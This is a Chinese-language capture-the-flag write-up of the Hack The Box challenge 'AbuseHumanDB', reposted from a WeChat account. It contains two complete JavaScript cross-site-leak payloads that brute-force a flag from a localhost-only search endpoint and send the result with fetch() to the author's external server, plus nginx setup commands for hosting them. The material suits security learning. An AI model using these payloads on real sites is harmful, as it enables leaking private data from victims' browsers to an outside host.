【Hack The Box】蓝队入门AbuseHumanDB通关详细攻略

admin 2023年4月9日12:40:51评论108 views字数 3499阅读11分39秒阅读模式

加作者微信,邀请进交流群。

【Hack The Box】蓝队入门AbuseHumanDB通关详细攻略


本文为作者前期作品,发布在Freebuf。


前言

有对HTB感兴趣的同学可以关注公众号呦!后续我会持续更新哒~

信息收集

访问网站,查看页面基本信息

【Hack The Box】蓝队入门AbuseHumanDB通关详细攻略

存在2个请求

1/api/entries

输入非url的字符,控制台报错

【Hack The Box】蓝队入门AbuseHumanDB通关详细攻略

输入url,控制台无回显,无利用思路

2/api/entries/search?q=

输入任意字符,响应码为404,无利用思路

【Hack The Box】蓝队入门AbuseHumanDB通关详细攻略

代码分析

1Database.js文件

userEntries表中存储有flag值。

查询approved=0时,方可展示该条包含flag的数据。字段title的组成为HTB{*********}

查询approved=1,且title模糊查询Back,可查询出包含Back的字符串完整sql语句。

那么什么时候approved=0

【Hack The Box】蓝队入门AbuseHumanDB通关详细攻略

2index.js文件,listEntries函数,满足approved=0

查看index.js文件,listEntries函数代码

【Hack The Box】蓝队入门AbuseHumanDB通关详细攻略

使approved=0,需listEntries函数参数为0。即通过发送/api/entries这一get请求,满足url请求数据中ip127.0.0.1且请求头中host127.0.0.1:1337,可查询出包含该条flagsql语句

【Hack The Box】蓝队入门AbuseHumanDB通关详细攻略

3index.js文件,getEntry函数,满足approved=0

利用getEntry函数,通过approved=0title=HTB{*******}可查询出包含该条flagsql语句。title值可通过模糊查询传入,查询存在则展示该条数据,不存在则控制台异常报错。

【Hack The Box】蓝队入门AbuseHumanDB通关详细攻略

/api/entries/search请求,可进入getEntry函数。title值通过getEntry的参数q来传入,q参数值可通过暴力破解来猜测。猜测正确则可得到flag,猜测错误在控制台可见异常报错内容。

【Hack The Box】蓝队入门AbuseHumanDB通关详细攻略

如何使得展示包含flagsql语句运行?

综上:

1.请求url  http://127.0.0.1:1337/api/entries/search?q=HTB{*******}

2.请求头  ip:127.0.0.1

3.响应码为200时,q的值为flag的模糊搜索值。直至匹配出HTB{*******}

漏洞利用

Nginx环境搭建

自己的外网服务器搭建nginx环境,以被外网访问。

1nginx安装与启动

安装nginx sudo apt-get -y install nginx

启动nginx sudo /etc/init.d/nginx start

访问外网网址,可见成功访问nginx环境

【Hack The Box】蓝队入门AbuseHumanDB通关详细攻略

2》将脚本搭建在index.php使外网可访问

修改nginx默认网页内容/var/www/html/index.nginx-debian.html为自己期望的脚本代码

3nginx访问日志

/var/log/nginx:存放日志

盲测approved=1

数据库title中包含Back The Hox

【Hack The Box】蓝队入门AbuseHumanDB通关详细攻略

查询approved=1,且title模糊查询Back,可查询出包含Back的字符串完整sql语句

将以下代码搭建在自己的外网服务器

<html><script>var ip = '161.35.173.232:32024'; // HTB Server IP Addressvar flag = 'Back'; // init search wordvar letters = '-+!@abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_ :|()';var url = 'http://'+ip+'/api/entries/search?q=';async function getLetter(ch){return new Promise((resolve, reject)=>{const script = document.createElement("script");script.src = url+encodeURIComponent(flag+ch);script.onload = () => ch==='}' ? reject(ch):resolve(ch);script.onerror = () => reject(ch);document.head.appendChild(script);});}async function getFullWord(letters) {var b = false; var ch;for(var i=0; i < letters.length; i++){await getLetter(letters[i]).then((res) => {flag=flag.concat(res); b = res==='x' ? true:false; i=0} , (res)=> { } );if(b) break;}fetch('http://121.4.69.174/flag='+flag, {method:'get'});};getFullWord(letters);console.log('Flag is '+flag);</script><html>

访问外网服务器该html的地址后,可见运行结果:

【Hack The Box】蓝队入门AbuseHumanDB通关详细攻略

可见模糊测试出,approved=1q数据为Back_The_box

继续模糊测试出,approved=1q数据为

Drunk_Alien_Song___Patlamaya_Devam__official_video_

【Hack The Box】蓝队入门AbuseHumanDB通关详细攻略

访问该url可查询出sql语句中title

【Hack The Box】蓝队入门AbuseHumanDB通关详细攻略

当盲测出q数据时,会携带flag访问搭建的服务器地址,所以在access.log文件可见访问日志

【Hack The Box】蓝队入门AbuseHumanDB通关详细攻略

由此证明只要使approved=0即可盲测出q数据,在access.log文件中可得flag

盲测approved=0

要使approved=0,需满足请求urlhttp://127.0.0.1:1337/api/entries/search?q=HTB{*******},且请求头为 ip:127.0.0.1

可编写脚本满足以上条件,将该脚本部署在自己的外网服务器上。使用htb网址访问该外网服务器的网址,使执行脚本内容,盲测出q值。

脚本内容:

<html><script>var ip = '127.0.0.1:1337'; // HTB Server IP Addressvar flag = 'HTB'; // init search wordvar letters = '-+!@abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_ :|()';var url = 'http://'+ip+'/api/entries/search?q=';async function getLetter(ch){return new Promise((resolve, reject)=>{const script = document.createElement("script");script.src = url+encodeURIComponent(flag+ch);script.onload = () => ch==='}' ? reject(ch):resolve(ch);script.onerror = () => reject(ch);document.head.appendChild(script);});}async function getFullWord(letters) {var b = false; var ch;for(var i=0; i < letters.length; i++){await getLetter(letters[i]).then((res) => {flag=flag.concat(res); b = res==='x' ? true:false; i=0} , (res)=> { } );if(b) break;}fetch('http://121.4.69.174/flag='+flag, {method:'get'});};getFullWord(letters);console.log('Flag is '+flag);</script><html>

使用htb访问外网服务器url

【Hack The Box】蓝队入门AbuseHumanDB通关详细攻略

间隔一定时间,查看外网服务器access.log文件可见flag内容

【Hack The Box】蓝队入门AbuseHumanDB通关详细攻略



合抱之木,生于毫末。

九层之台,起于累土。

每一次努力和积累,都在为网络安全领域的发展贡献自己的一份力量。

感谢您一直以来的支持和关注!

加作者微信,邀请进交流群。

【Hack The Box】蓝队入门AbuseHumanDB通关详细攻略




原文始发于微信公众号(安全女巫):【Hack The Box】蓝队入门AbuseHumanDB通关详细攻略

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月9日12:40:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【Hack The Box】蓝队入门AbuseHumanDB通关详细攻略https://cn-sec.com/archives/1662750.html

发表评论

匿名网友 填写信息